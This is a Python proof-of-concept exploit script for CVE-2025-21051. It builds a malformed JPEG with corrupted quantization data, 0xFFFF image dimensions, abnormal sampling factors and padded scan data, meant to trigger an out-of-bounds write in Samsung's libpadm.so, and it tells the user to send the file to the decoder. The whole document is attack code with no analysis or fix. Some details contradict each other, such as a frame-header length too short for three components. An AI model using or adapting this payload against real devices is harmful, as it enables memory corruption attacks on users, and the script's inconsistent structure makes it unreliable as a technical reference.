CVE-2025-21051

// CVE-2025-21051 PoC - Malicious JPEG triggering OOB write in libpadm.so // This PoC demonstrates crafting a JPEG file with malformed pre-processing data // to trigger out-of-bounds write vulnerability in Samsung's libpadm.so library import struct import sys def create_malicious_jpeg(output_path): """ Create a malformed JPEG file that triggers OOB write in libpadm.so during JPEG decoding pre-processing stage. """ jpeg_data = bytearray() # SOI (Start of Image) marker jpeg_data += b'\xFF\xD8' # APP0 marker (JFIF header) - minimal valid header jpeg_data += b'\xFF\xE0' jpeg_data += struct.pack('>H', 16) # Length jpeg_data += b'JFIF\x00' # Identifier jpeg_data += b'\x01\x01' # Version jpeg_data += b'\x00' # Aspect ratio units jpeg_data += struct.pack('>HH', 1, 1) # X/Y density jpeg_data += b'\x00\x00' # No thumbnail # DQT (Define Quantization Table) - intentionally malformed # This triggers the OOB write during pre-processing jpeg_data += b'\xFF\xDB' jpeg_data += struct.pack('>H', 67) # Length (should be 67 for 8-bit) jpeg_data += b'\x00' # Table ID 0, 8-bit precision # Malicious quantization values - oversized to trigger OOB jpeg_data += bytes([0xFF] * 64) # SOF0 (Start of Frame) - with abnormal dimensions jpeg_data += b'\xFF\xC0' jpeg_data += struct.pack('>H', 11) # Length jpeg_data += b'\x08' # 8-bit precision # Abnormal image dimensions to trigger pre-processing OOB jpeg_data += struct.pack('>HH', 0xFFFF, 0xFFFF) # Width x Height jpeg_data += b'\x03' # 3 components (YCbCr) # Component specifications with malicious sampling factors jpeg_data += b'\x01' # Component ID jpeg_data += b'\xFF' # Sampling factors (abnormally high) jpeg_data += b'\x00' # Quantization table ID jpeg_data += b'\x02' # Component ID jpeg_data += b'\xFF' # Sampling factors jpeg_data += b'\x00' # Quantization table ID jpeg_data += b'\x03' # Component ID jpeg_data += b'\xFF' # Sampling factors jpeg_data += b'\x00' # Quantization table ID # DHT (Define Huffman Table) - minimal jpeg_data += b'\xFF\xC4' jpeg_data += struct.pack('>H', 19) # Length jpeg_data += b'\x00' # DC table 0 jpeg_data += bytes(16) # Counts for each code length jpeg_data += b'\x00' # One symbol # SOS (Start of Scan) - with malformed scan data jpeg_data += b'\xFF\xDA' jpeg_data += struct.pack('>H', 8) # Length jpeg_data += b'\x03' # 3 components jpeg_data += b'\x01\x00' # Component 1 jpeg_data += b'\x02\x00' # Component 2 jpeg_data += b'\x03\x00' # Component 3 jpeg_data += b'\x00\x3F\x00' # Spectral selection # Malicious scan data to trigger OOB write jpeg_data += bytes([0x41] * 4096) # EOI (End of Image) jpeg_data += b'\xFF\xD9' with open(output_path, 'wb') as f: f.write(jpeg_data) print(f"[+] Malicious JPEG created: {output_path}") print("[!] Sending this JPEG to libpadm.so JPEG decoder will trigger OOB write") if __name__ == "__main__": output = sys.argv[1] if len(sys.argv) > 1 else "poc_cve_2025_21051.jpg" create_malicious_jpeg(output)

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